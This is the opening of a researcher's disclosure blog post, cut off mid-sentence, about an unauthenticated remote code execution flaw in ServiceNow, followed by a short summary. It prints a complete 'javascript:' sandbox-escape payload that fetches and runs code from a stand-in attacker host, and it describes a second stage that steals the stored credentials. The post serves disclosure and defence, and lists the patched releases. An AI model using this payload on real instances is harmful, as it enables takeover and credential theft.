In December 2025 I discovered an unauthenticated remote code execution vulnerability residing within default component code that allowed arbitrary server-side script execution as the System user. This affected all ServiceNow instances. If you pasted a string like this into certain fields such as the username input of the forgotten password page, you could take full control of any ServiceNow instance. javascript: var s = "var a=GlideHTTPRequest('https://attacker_host/payload.js');var s=a.get();GlideEvaluator.evaluateString(s.getBody());" ;DiscoveryFunctions.getCacheObjectForTable = Object; var a = {};a.get = Object; var b = new AbstractAjaxProcessor();b.initialize = DiscoveryFunctions.getFirstValueFromTable(a, "" ,DiscoveryFunctions.getFirstValueFromTable(a, "" ,DiscoveryFunctions.getFirstValueFromTable(a, "" ,global, "WorkflowIconsSCR" , "" ), "prototype" , "" ), "initialize" , "" );b.a = Class.create();b.a(s); The payload above would instruct the ServiceNow instance to: Treat the input as a dynamic value due to the javascript: operator, loading the script into a JavaScript sandbox then executing it server side, triggering a sandbox escape exploit Reach out to an attackers server , downloading and executing a second payload - avoiding logging of the main payload to hide what ServiceNow APIs were invoked The second payload created a scheduled job, executing code as System to retrieve and decrypt all records from the credentials tables as well as the StandardCredentialsProvider , exfiltrating all of the third party credentials that might exist (e.g. GitHub, Workday, Confluence, etc.) to another attacker endpoint Sequence diagram: the attacker sends a javascript: payload to ServiceNow's reset-password field; ServiceNow treats it as a dynamic value and escapes its sandbox, fetches a second-stage payload.js from the attacker's host, runs a scheduled job as System to decrypt the credential tables, and exfiltrates the stored third-party credentials to a second attacker endpoint. ATTACKER (PAYLOAD HOST) SERVICENOW INSTANCE ATTACKER (EXFIL ENDPOINT) input treated as dynamic value, sandbox escape scheduled job runs as System, decrypts creds javascript: payload in the reset-password field fetch second-stage payload.js payload.js (kept out of the logs) exfiltrate third-party credentials Exploiting a developer instance - dummy credentials can be seen being exfiltrated via the incoming POST request body, bottom right This issue was reported to ServiceNow in January , initial patches were made available from mid-February via the releases below: Xanadu Patch 11 HF2a Yokohama Patch 10 HF1b Yokohama Patch 12 Zurich Patch 4 HF3b Zurich Patch 6 Australia Initially, this public disclosure was set to occur sometime in April. While the payload above is only one variation of a ServiceNow sandbox escape, at the time I truly thought there were no more variations left within ServiceNow’s default code to be found. However, this was delayed due to this notification from AssetNote sent out to their customers on April 1st… AssetNote Advisory April 1st The researchers at Searchlight Cyber had found another RCE within the same javascript: sandbox attack surface. I had spent weeks combing for other variants so it was surprising to see another one was discovered at all. Their work revealed two things; A neat technique to overwrite properties on objects that allowed me to bypass two patches A different primitive existed that could achieve a sandbox escape, and this primitive couldn’t be mitigated using the same strategy ServiceNow had used in the past Finally with the release of Guarded Script the attacks reported over the period of Jan through April are finally neutralized. However, this attack surface still exists and this article has been written to raise awareness for those of you who defend ServiceNow instances. ~85% of the Fortune 500 run ServiceNow, including most major banks, government agencies, and health systems. If you manage a ServiceNow instance, or run pentests against one, and it contains custom scripts (Script Includes, Business Rules) then you’ll want to review whether it exposes the same issues. Especially if your instance contains any custom Glide AJAX enabled Script Includes (previously called Client Callable ) written prior to September 2024 as you are likely exposing far more code to this attack surface than you should be. This article is a half hour read and presents a deep-dive on this attack surface: What the sandbox is — why it exists, how the javascript: mechanism works, and why it can be escaped. Reviewing AssetNote’s RCE — walking through their research and finding a patch bypass along the way. Crafting a new payload — using the primitive AssetNote discovered to build an escape that couldn’t be patched without major intervention. The arrival of Guarded Script — how ServiceNow finally locked down the sandbox, and where its limitations lie. Triaging your own instances — how to hunt for custom code that might still ...
A critical unauthenticated remote code execution vulnerability in ServiceNow allowed arbitrary server-side script execution as the System user via a crafted `javascript:` payload in fields like the password reset page, leading to sandbox escape, secondary payload retrieval, and full credential exfiltration. The vulnerability affected all ServiceNow instances, with initial patches made available from mid-February via specific releases including Xanadu Patch 11 HF2a, Yokohama Patch 10 HF1b, Yokohama Patch 12, Zurich Patch 4 HF3b, and Zurich Patch 6 Australia.